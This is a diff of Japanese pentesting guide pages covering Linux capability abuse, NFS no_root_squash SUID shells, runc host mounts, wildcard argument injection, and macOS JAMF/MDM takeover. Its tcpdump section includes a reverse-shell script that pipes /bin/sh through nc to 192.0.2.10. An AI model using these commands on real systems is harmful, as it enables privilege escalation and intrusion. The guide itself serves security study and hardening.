[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、通常のファイル、FIFO名前付きパイプ、または UNIX ドメインソケットの作成を超えて `mknod` システムコールの機能を拡張します。特に、次のような特別なファイルの作成を許可します:
- **S_IFCHR**: 端末のようなキャラクタ特殊ファイル。
- **S_IFBLK**: ディスクのようなブロック特殊ファイル。
- **S_IFCHR**: 端末のようなデバイスであるキャラクタ特殊ファイル。
- **S_IFBLK**: ディスクのようなデバイスであるブロック特殊ファイル。
この機能は、デバイスファイルを作成する能力を必要とするプロセスにとって不可欠であり、キャラクタまたはブロックデバイスを介してハードウェアとの直接的な相互作用を促進します。
この機能は、デバイスファイルを作成する能力を必要とするプロセスにとって不可欠であり、キャラクタまたはブロックデバイスを介して直接ハードウェアと対話することを容易にします。
これはデフォルトの docker 機能です ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19))。
これはデフォルトの Docker 機能です ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19))。
この機能は、次の条件下でホスト上で特権昇格(フルディスク読み取りを通じて)を行うことを許可します:
1. ホストへの初期アクセスを持(特権なし)。
2. コンテナへの初期アクセスを持特権ありEUID 0、および有効な `CAP_MKNOD`)。
1. ホストへの初期アクセスを持っている(特権なし)。
2. コンテナへの初期アクセスを持っている特権ありEUID 0、および有効な `CAP_MKNOD`)。
3. ホストとコンテナは同じユーザー名前空間を共有する必要があります。
**コンテナ内でブロックデバイスを作成およびアクセスする手順:**
1. **ホスト上で標準ユーザーとして:**
- `id` で現在のユーザーIDを確認します。例`uid=1000(standarduser)`
- `id` で現在のユーザー ID を確認します。例:`uid=1000(standarduser)`
- 対象デバイスを特定します。例:`/dev/sdb`
2. **コンテナ内で `root` として:**
@ -1505,25 +1504,25 @@ ps aux | grep -i container_name | grep -i standarduser
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
```
このアプローチにより、標準ユーザーはコンテナを通じて `/dev/sdb` へのアクセスとデータの読み取りが可能になり、共有ユーザー名前空間とデバイスに設定された権限を利用します。
このアプローチにより、標準ユーザーはコンテナを通じて `/dev/sdb` にアクセスし、データを読み取る可能性があります。これは、共有ユーザー名前空間とデバイスに設定された権限を利用しています。
### CAP_SETPCAP
**CAP_SETPCAP** は、プロセスが他のプロセスの **能力セットを変更する** ことを可能にし、効果的、継承可能、許可されたセットからの能力の追加または削除を許可します。ただし、プロセスは自分の許可されたセットに存在する能力のみを変更できるため、他のプロセスの特権を自分のもの以上に引き上げることはできません。最近のカーネルの更新により、これらのルールが厳格化され、`CAP_SETPCAP` は自分自身またはその子孫の許可されたセット内の能力を減少させることのみを許可され、セキュリティリスクを軽減することを目的としています。使用するには、効果的なセットに `CAP_SETPCAP` を持ち、ターゲットの能力を許可されたセットに持必要があり、`capset()` を使用して変更を行います。これが `CAP_SETPCAP` の核心的な機能と制限を要約し、特権管理とセキュリティ強化におけるその役割を強調しています。
**CAP_SETPCAP** は、プロセスが他のプロセスの **能力セットを変更する** ことを可能にし、効果的、継承可能、許可されたセットからの能力の追加または削除を許可します。ただし、プロセスは自分の許可されたセットに存在する能力のみを変更できるため、他のプロセスの特権を自分のもの以上に引き上げることはできません。最近のカーネルの更新により、これらのルールが厳格化され、`CAP_SETPCAP` は自分自身またはその子孫の許可されたセット内の能力を減少させることのみを許可するよう制限されています。これは、セキュリティリスクを軽減することを目的としています。使用するには、効果的なセットに `CAP_SETPCAP` を持ち、ターゲットの能力を許可されたセットに持っている必要があり、`capset()` を使用して変更を行います。これが `CAP_SETPCAP` の核心的な機能と制限を要約しており、特権管理とセキュリティ強化におけるその役割を強調しています。
**`CAP_SETPCAP`** は、プロセスが他のプロセスの **能力セットを変更する** ことを可能にするLinuxの能力です。他のプロセスの効果的、継承可能、許可された能力セットから能力を追加または削除する能力を付与します。ただし、この能力の使用方法には特定の制限があります。
`CAP_SETPCAP` を持つプロセスは **自分の許可された能力セットにある能力のみを付与または削除できる** ということです。言い換えれば、プロセスは自分が持っていない能力を他のプロセスに付与することはできません。この制限により、プロセスは他のプロセスの特権を自分の特権レベル以上に引き上げることができなくなります。
`CAP_SETPCAP` を持つプロセスは、**自分の許可された能力セットにある能力のみを付与または削除できます**。言い換えれば、プロセスは自分が持っていない能力を他のプロセスに付与することはできません。この制限により、プロセスは他のプロセスの特権を自分の特権レベル以上に引き上げることができなくなります。
さらに、最近のカーネルバージョンでは、`CAP_SETPCAP` の能力が **さらに制限されました**。もはやプロセスが他のプロセスの能力セットを恣意的に変更することは許可されていません。代わりに、**自分の許可された能力セットまたはその子孫の許可された能力セット内の能力を下げることのみを許可します**。この変更は、能力に関連する潜在的なセキュリティリスクを減少させるために導入されました。
`CAP_SETPCAP` を効果的に使用するには、効果的な能力セットにその能力を持ち、ターゲットの能力を許可された能力セットに持必要があります。その後、`capset()` システムコールを使用して他のプロセスの能力セットを変更できます。
`CAP_SETPCAP` を効果的に使用するには、効果的な能力セットにその能力を持ち、ターゲットの能力を許可された能力セットに持っている必要があります。その後、`capset()` システムコールを使用して他のプロセスの能力セットを変更できます。
要約すると、`CAP_SETPCAP` はプロセスが他のプロセスの能力セットを変更することを可能にしますが、自分が持っていない能力を付与することはできません。さらに、セキュリティ上の懸念から、その機能は最近のカーネルバージョンで制限され、自分の許可された能力セットまたはその子孫の許可された能力セット内の能力を減少させることのみが許可されています。
## 参考文献
## References
**これらの例のほとんどは** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) **のいくつかのラボから取られたもので、これらの特権昇格技術を練習したい場合は、これらのラボをお勧めします。**
**これらの例のほとんどは** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) **のいくつかのラボから取られたものですので、これらの特権昇格技術を練習したい場合は、これらのラボをお勧めします。**
**その他の参考文献**:

View File

@ -1,27 +1,29 @@
# NFS No Root Squash Misconfiguration Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
# 基本情報の圧縮
## Squashing Basic Info
NFSは通常特にLinuxでは、ファイルにアクセスするために接続しているクライアントによってされた`uid``gid`を信頼しますKerberosが使用されていない場合ただし、サーバーで**この動作を変更する**ために設定できるいくつかの構成があります:
NFSは通常特にLinuxでは、ファイルにアクセスするために接続しているクライアントによって指定された`uid``gid`を信頼しますKerberosが使用されていない場合しかし、サーバーで**この動作を変更する**ために設定できるいくつかの構成があります:
- **`all_squash`**: すべてのアクセスを圧縮し、すべてのユーザーとグループを**`nobody`**65534 unsigned / -2 signedにマッピングします。したがって、すべての人`nobody`となり、ユーザーは使用されません。
- **`root_squash`/`no_all_squash`**: これはLinuxのデフォルトであり、**uid 0rootのアクセスのみを圧縮**します。したがって、任意の`UID``GID`は信頼されますが、`0``nobody`に圧縮されるため、rootの偽装は不可能です。
- **`all_squash`**: すべてのアクセスを圧縮し、すべてのユーザーとグループを**`nobody`**65534 unsigned / -2 signedにマッピングします。したがって、誰も`nobody`となり、ユーザーは使用されません。
- **`root_squash`/`no_all_squash`**: これはLinuxのデフォルトであり、**uid 0rootのアクセスのみを圧縮**します。したがって、`UID``GID`は信頼されますが、`0``nobody`に圧縮されるため、rootの偽装は不可能です。
- **`no_root_squash`**: この構成が有効になっている場合、rootユーザーさえも圧縮されません。これは、この構成でディレクトリをマウントすると、rootとしてアクセスできることを意味します。
**/etc/exports**ファイルで、**no_root_squash**として構成されているディレクトリを見つけた場合、**クライアントとして**それに**アクセス**し、そのディレクトリの中に**ローカルの**マシンの**root**のように**書き込む**ことができます。
**/etc/exports**ファイルで、**no_root_squash**として構成されているディレクトリを見つけた場合、**クライアント**としてそれに**アクセス**し、そのディレクトリの中に**ローカルの**マシンの**root**であるかのように**書き込む**ことができます。
**NFS**に関する詳細情報は、以下を確認してください:
**NFS**に関する詳細情報はを確認してください:
{{#ref}}
../../network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# 権限昇格
## Privilege Escalation
## リモートエクスプロイト
### Remote Exploit
オプション1bashを使用して
- **クライアントマシンでそのディレクトリをマウントし、**rootとして**マウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、**被害者**マシンからそのbashバイナリを実行します。
- **クライアントマシンでそのディレクトリをマウントし、**rootとして**マウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、**被害者**マシンからそのbashバイナリを実行します。
- NFS共有内でrootになるためには、**`no_root_squash`**がサーバーで構成されている必要があります。
- ただし、有効になっていない場合は、バイナリをNFS共有にコピーし、昇格したいユーザーとしてSUID権限を与えることで、他のユーザーに昇格することができます。
```bash
@ -37,7 +39,7 @@ cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
Option 2 using c compiled code:
- **クライアントマシンでそのディレクトリをマウント**し、**ルートとして**マウントされたフォルダ内にSUID権限を悪用するコンパイル済みペイロードをコピーし、**SUID**権限を与え、**被害者**マシンからそのバイナリを**実行**します(ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。
- **クライアントマシンでそのディレクトリをマウント**し、**ルートとして**マウントされたフォルダ内にSUID権限を悪用するコンパイル済みペイロードをコピーし、それに**SUID**権限を与え、**被害者**マシンからそのバイナリを**実行**します(ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。
- 前と同じ制限が適用されます。
```bash
#Attacker, as root user
@ -52,19 +54,19 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## ローカルエクスプロイト
### ローカルエクスプロイト
> [!NOTE]
> あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、リモートバージョンを使用してこの特権昇格を悪用することができます**。\
> 次のトリックは、ファイル`/etc/exports`が**IPを示している**場合に関するものです。この場合、**リモートエクスプロイトを使用することはできず**、**このトリックを悪用する必要があります**。\
> エクスプロイトが機能するためのもう一つの要件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用している必要がある**ことです。\
> [!TIP]
> あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、必要なポートをトンネリングしてこの特権昇格を悪用するためにリモートバージョンを使用することができます**。\
> 次のトリックは、ファイル`/etc/exports`が**IPを示している場合**です。この場合、**リモートエクスプロイトを使用することはできず**、**このトリックを悪用する必要があります**。\
> エクスプロイトが機能するためのもう一つの要件は、`/etc/export`内の**エクスポートが`insecure`フラグを使用している必要がある**ことです。\
> --_`/etc/export`がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません_--
## 基本情報
### 基本情報
このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントがuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にするものです。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。
このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントが自分のuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPC呼び出しの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。
### ライブラリのコンパイル
#### ライブラリのコンパイル
ライブラリのコンパイル手順は、カーネルバージョンに基づいて調整が必要な場合があります。この特定のケースでは、fallocateシステムコールがコメントアウトされていました。コンパイルプロセスには、次のコマンドが含まれます
```bash
@ -73,9 +75,9 @@ cd <SHAREDD_FOLDER>
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### 攻撃の実行
#### 攻撃の実行
攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム`pwn.c`)を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ(`a.out`は、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用して、suid rootで共有に配置されます。
攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム`pwn.c`)を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ(`a.out`は、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用して、suidルートで共有に配置されます。
1. **攻撃コードをコンパイルする:**
```bash
@ -95,9 +97,9 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/
/mnt/share/a.out
#root
```
## ボーナス: NFShellによるステルスファイルアクセス
### ボーナス: NFShellによるステルスファイルアクセス
rootアクセスが取得されると、所有権を変更せずにNFS共有と対話するために、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします:
rootアクセスが取得されると、所有権を変更せずにNFS共有と対話するために、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するように調整し、権限の問題なしに共有上のファイルと対話できるようにします:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html

View File

@ -4,7 +4,7 @@
## 基本情報
**runc**についてもっと知りたい場合は、以下のページを確認してください:
**runc** についてもっと知りたい場合は、以下のページを確認してください:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -12,7 +12,7 @@
## PE
ホストに`runc`がインストールされている場合、**ホストのルート/フォルダをマウントしたコンテナを実行できる可能性があります**。
ホストに `runc` がインストールされている場合、**ホストのルート / フォルダをマウントしたコンテナを実行できる可能性があります**。
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
@ -37,6 +37,6 @@ mkdir rootfs
runc run demo
```
> [!CAUTION]
> これは常に機能するわけではありません。runcのデフォルトの動作はrootとして実行することなので、特権のないユーザーとして実行することは単純に機能しませんルートレス構成がない限り)。ルートレス構成をデフォルトにすることは一般的には良いアイデアではありません。なぜなら、ルートレスコンテナ内には、ルートレスコンテナの外には適用されないいくつかの制限があるからです。
> これは常に機能するわけではありません。runcのデフォルトの動作はrootとして実行することなので、特権のないユーザーとして実行することは単純に機能しませんrootless構成がない限り。rootless構成をデフォルトにすることは一般的には良いアイデアではありません。なぜなら、rootlessコンテナ内にはrootlessコンテナの外には適用されない制限がいくつかあるからです。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,14 +1,14 @@
# Wildcards Spare Tricks
# ワイルドカードのスペアトリック
{{#include ../../banners/hacktricks-training.md}}
> ワイルドカード(別名 *glob***引数インジェクション**は、特権スクリプトが `tar``chown``rsync``zip``7z` などのUnixバイナリを、引用符なしのワイルドカード `*` と共に実行する際に発生します。
> ワイルドカード(別名 *glob***引数注入**は、特権スクリプトが `tar``chown``rsync``zip``7z` などのUnixバイナリを、引用符なしのワイルドカード `*` と共に実行する際に発生します。
> シェルはバイナリを実行する**前に**ワイルドカードを展開するため、作業ディレクトリにファイルを作成できる攻撃者は、`-` で始まるファイル名を作成することで、**データではなくオプション**として解釈されるようにし、任意のフラグやコマンドを効果的に密輸することができます。
> このページでは、2023-2025年の最も有用なプリミティブ、最近の研究、現代の検出方法を集めています。
## chown / chmod
`--reference` フラグを悪用することで、**任意のファイルの所有者/グループまたはパーミッションビットをコピー**できます:
`--reference` フラグを悪用することで、**任意のファイルの所有者/グループまたは権限ビットをコピー**できます:
```bash
# attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
@ -21,7 +21,7 @@ chmod -R 644 *.php
`--reference=/root/secret``file` が注入され、*すべての* 一致するファイルが `/root/secret``file` の所有権/権限を継承します。
*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (複合攻撃)。
詳細については、古典的な DefenseCode の論文参照してください。
詳細については、古典的な DefenseCode の論文参照してください。
---
@ -57,7 +57,7 @@ touch "--use-compress-program=/bin/sh"
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
```
もしrootが後で`rsync -az * backup:/srv/`ディレクトリをアーカイブすると、注入されたフラグがリモート側でシェルを起動します。
もしrootが後でディレクトリを`rsync -az * backup:/srv/`でアーカイブすると、注入されたフラグがリモート側でシェルを起動します。
*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync`モード)。
@ -76,7 +76,7 @@ touch @root.txt # tells 7z to use root.txt as file list
```bash
7za a /backup/`date +%F`.7z -t7z -snl -- *
```
7-Zipは`root.txt`(→ `/etc/shadow`)をファイルリストとして読み取ろうとし、**stderrに内容を出力します**。
7-Zipは`root.txt`(→ `/etc/shadow`)をファイルリストとして読み取ろうとし、失敗し、**内容をstderrに出力します**。
---
@ -86,11 +86,11 @@ touch @root.txt # tells 7z to use root.txt as file list
```bash
zip result.zip files -T --unzip-command "sh -c id"
```
Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
フラグを作成されたファイル名を介して注入し、特権バックアップスクリプトが結果のファイルに対して `zip -T`(アーカイブテスト)を呼び出すのを待ちます。
---
## 追加のバイナリ:ワイルドカードインジェクションに脆弱なもの (2023-2025 クイックリスト)
## ワイルドカードインジェクションに脆弱な追加バイナリ2023-2025年のクイックリスト
以下のコマンドは、現代のCTFや実際の環境で悪用されています。ペイロードは常に、後でワイルドカードで処理される書き込み可能なディレクトリ内の*ファイル名*として作成されます:
@ -105,19 +105,64 @@ Inject the flag via a crafted filename and wait for the privileged backup script
---
## tcpdump回転フック-G/-W/-zラッパー内のargvインジェクションによるRCE
制限されたシェルまたはベンダーラッパーが、厳密な引用/検証なしにユーザー制御フィールド(例:「ファイル名」パラメータ)を連結して`tcpdump`コマンドラインを構築する場合、追加の`tcpdump`フラグを密輸できます。`-G`(時間ベースの回転)、`-W`(ファイル数の制限)、および`-z <cmd>`ポストローテートコマンドの組み合わせは、tcpdumpを実行しているユーザー通常は機器上のrootとして任意のコマンド実行をもたらします。
前提条件:
- `tcpdump`に渡される`argv`に影響を与えることができる(例:`/debug/tcpdump --filter=... --file-name=<HERE>`のようなラッパーを介して)。
- ラッパーはファイル名フィールド内のスペースや`-`で始まるトークンをサニタイズしません。
クラシックPoC書き込み可能なパスからリバースシェルスクリプトを実行
```sh
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
```
詳細:
- `-G 1 -W 1` は、最初の一致するパケットの後に即座にローテートを強制します。
- `-z <cmd>` は、ローテーションごとにポストローテートコマンドを1回実行します。多くのビルドは `<cmd> <savefile>` を実行します。 `<cmd>` がスクリプト/インタープリタの場合、引数の処理がペイロードに一致することを確認してください。
ノンリムーバブルメディアのバリアント:
- ファイルを書き込むための他のプリミティブ(例: 出力リダイレクションを許可する別のコマンドラッパー)がある場合、スクリプトを既知のパスにドロップし、プラットフォームのセマンティクスに応じて `-z /bin/sh /path/script.sh` または `-z /path/script.sh` をトリガーします。
- 一部のベンダーラッパーは攻撃者が制御可能な場所にローテートします。ローテートされたパスに影響を与えることができれば(シンボリックリンク/ディレクトリトラバーサル)、`-z` を操作して外部メディアなしで完全に制御するコンテンツを実行できます。
ベンダー向けのハードニングのヒント:
- 厳格なホワイトリストなしでユーザー制御の文字列を直接 `tcpdump`(または任意のツール)に渡さないでください。引用して検証してください。
- ラッパーで `-z` 機能を公開しないでください; tcpdump を固定の安全なテンプレートで実行し、追加のフラグを完全に禁止します。
- tcpdump の特権を削除するcap_net_admin/cap_net_raw のみか、AppArmor/SELinux の制約の下で専用の特権のないユーザーとして実行します。
## 検出とハードニング
1. **重要なスクリプトでシェルグロビングを無効にする**: `set -f` (`set -o noglob`) はワイルドカードの展開を防ぎます。
2. **引数を引用またはエスケープする**: `tar -czf "$dst" -- *` は*安全ではありません* — `find . -type f -print0 | xargs -0 tar -czf "$dst"`を好むべきです。
3. **明示的なパス**: `*`の代わりに`/var/www/html/*.log`を使用して、攻撃者が`-`で始まる兄弟ファイルを作成できないようにします。
4. **最小特権**: 可能な限り、バックアップ/メンテナンスジョブをrootではなく特権のないサービスアカウントとして実行します。
5. **監視**: Elasticの事前構築されたルール*Potential Shell via Wildcard Injection*は、`tar --checkpoint=*``rsync -e*`、または`shell child process`に直後に続く`zip --unzip-command`を探します。EQLクエリは他のEDRに適応できます。
2. **引数を引用またはエスケープする**: `tar -czf "$dst" -- *` は安全ではありません — `find . -type f -print0 | xargs -0 tar -czf "$dst"` を好みます。
3. **明示的なパス**: `*` の代わりに `/var/www/html/*.log` を使用して、攻撃者が `-` で始まる兄弟ファイルを作成できないようにします。
4. **最小特権**: 可能な限り、バックアップ/メンテナンスジョブをルートではなく特権のないサービスアカウントとして実行します。
5. **監視**: Elastic の事前構築されたルール *Potential Shell via Wildcard Injection* は、`tar --checkpoint=*``rsync -e*`、または `zip --unzip-command` の後にすぐにシェル子プロセスが続くことを探します。EQL クエリは他の EDR に適応できます。
---
## 参考文献
* Elastic Security Potential Shell via Wildcard Injection Detected rule (最終更新 2025)
* Elastic Security Potential Shell via Wildcard Injection Detected ルール (最終更新 2025)
* Rutger Flohil “macOS — Tar wildcard injection” (2024年12月18日)
* GTFOBins [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
* FiberGateway GR241AG [Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## MDMの悪用
- JAMF Pro: `jamf checkJSSConnection`
- Kandji
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで**すべてのコンピュータを侵害する可能性があります**
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで**すべてのコンピュータを潜在的に侵害**することができます
MacOS環境でのレッドチーミングには、MDMの動作についての理解が非常に推奨されます
@ -15,11 +16,11 @@ MacOS環境でのレッドチーミングには、MDMの動作についての理
macos-mdm/
{{#endref}}
### C2としてのMDMの使用
### MDMをC2として使用する
MDMは、プロファイルのインストール、クエリ削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています...
MDMは、プロファイルのインストール、クエリまたは削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています...
独自のMDMを運営するには、**ベンダーによって署名されたCSRが必要**で、[**https://mdmcert.download/**](https://mdmcert.download/)で取得を試みることができます。また、Appleデバイス用の独自のMDMを運営するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。
独自のMDMを運営するには、**ベンダーによって署名されたCSRが必要**で、これを[**https://mdmcert.download/**](https://mdmcert.download/)で取得しようとすることができます。Appleデバイス用の独自のMDMを運営するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります... しかし、MDM登録時に**デバイスはMDMのSSL証明書を信頼されたCAとして追加**するため、今では何でも署名できます。
@ -29,7 +30,7 @@ MDMは、プロファイルのインストール、クエリ、削除、アプ
### JAMF PROの悪用
JAMFは**カスタムスクリプト**(システム管理者によって開発されたスクリプト)、**ネイティブペイロード**ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)および**MDM**(デバイスの構成、デバイス証明書...)を実行できます。
JAMFは**カスタムスクリプト**(システム管理者によって開発されたスクリプト)、**ネイティブペイロード**ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...および**MDM**(デバイスの構成、デバイス証明書...)を実行できます。
#### JAMF自己登録
@ -45,12 +46,12 @@ JAMFは**カスタムスクリプト**(システム管理者によって開発
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時には**誰もが共有**していました。それは:**`jk23ucnq91jfu9aj`**です。\
**`jamf`**バイナリには、発見時に**共有**されていたキーチェーンを開くための秘密が含まれており、それは**`jk23ucnq91jfu9aj`**でした。\
さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**持続**します。
#### JAMFデバイスタ takeover
#### JAMFデバイスタケオーバー
**JSS**Jamf Software Server**URL**は、**`jamf`**が使用するもので、**`/Library/Preferences/com.jamfsoftware.jamf.plist`**にあります。\
**JSS**Jamf Software Server**URL**は、**`jamf`**が使用する**`/Library/Preferences/com.jamfsoftware.jamf.plist`**にあります。\
このファイルには基本的にURLが含まれています
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
@ -59,7 +60,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<string>https://subdomain-company.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
@ -71,28 +72,28 @@ sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
#### JAMFなりすまし
#### JAMF なりすまし
デバイスとJMF間の**通信をなりすます**には、以下が必要です:
デバイスと JMF間の **通信をなりすます** には、以下が必要です:
- デバイスの**UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- デバイス証明書を含む**JAMFキーチェーン**: `/Library/Application\ Support/Jamf/JAMF.keychain`
- デバイスの **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
- デバイス証明書を含む **JAMF キーチェーン**: `/Library/Application\ Support/Jamf/JAMF.keychain`
この情報をもとに、**盗まれた**ハードウェア**UUID**を持ち、**SIPを無効にした**VMを**作成**し、**JAMFキーチェーンをドロップ**し、Jamf**エージェントをフック**してその情報を盗みます。
この情報をもとに、**盗まれた**ハードウェア **UUID** を持ち、**SIP を無効にした** VM を作成し、**JAMF キーチェーンをドロップ**し、Jamf **エージェントをフック**してその情報を盗みます。
#### 秘密の盗難
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
管理者がJamfを介して実行したい**カスタムスクリプト**を監視するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトは**ここに配置され、実行され、削除されます**。これらのスクリプトには**資格情報が含まれている可能性があります**
また、管理者が Jamf 経由で実行したい **カスタムスクリプト**ために、`/Library/Application Support/Jamf/tmp/` の場所を監視することもできます。これらのスクリプトは **ここに配置され、実行され、削除されます**。これらのスクリプトには **資格情報** が含まれている可能性があります。
ただし、**資格情報**はこれらのスクリプトに**パラメータ**として渡される可能性があるため、`ps aux | grep -i jamf`を監視する必要があります(ルートでなくても)。
ただし、**資格情報** はこれらのスクリプトに **パラメータ** として渡される可能性があるため、`ps aux | grep -i jamf` を監視する必要があります(ルートでなくても)。
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルが追加されたり、新しいプロセス引数が追加されたりするのをリッスンできます。
スクリプト [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) は、新しいファイルが追加されるのをリッスンし、新しいプロセス引数を監視できます。
### macOSリモートアクセス
### macOS リモートアクセス
また、**MacOS**の「特別な」**ネットワーク****プロトコル**についても
また、**MacOS** の "特別な" **ネットワーク** **プロトコル** について
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
@ -100,7 +101,7 @@ sudo jamf policy -id 0
## Active Directory
場合によっては、**MacOSコンピュータがADに接続されている**ことがあります。このシナリオでは、慣れているようにアクティブディレクトリを**列挙**しようとするべきです。以下のページで**ヘルプ**を見つけてください:
場合によっては、**MacOS コンピュータが AD に接続されている**ことがあります。このシナリオでは、慣れているようにアクティブディレクトリを **列挙** しようとするべきです。以下のページで **ヘルプ** を見つけてください:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -114,30 +115,30 @@ sudo jamf policy -id 0
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
役立つ可能性のある**ローカルMacOSツール**は`dscl`です:
役立つ可能性のある **ローカル MacOS ツール** `dscl` です:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
また、ADを自動的に列挙し、Kerberosを操作するためにMacOS用に準備されたツールがあります
- [**Machound**](https://github.com/XMCyber/MacHound): MacHoundは、MacOSホスト上のActive Directory関係を収集および取り込むことを可能にするBloodhound監査ツールの拡張です。
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するセキュリティテストを向上させることです。
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するセキュリティテストを改善することです。
- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory列挙を行うためのJavaScript for Automation (JXA)ツールです。
### ドメイン情報
```bash
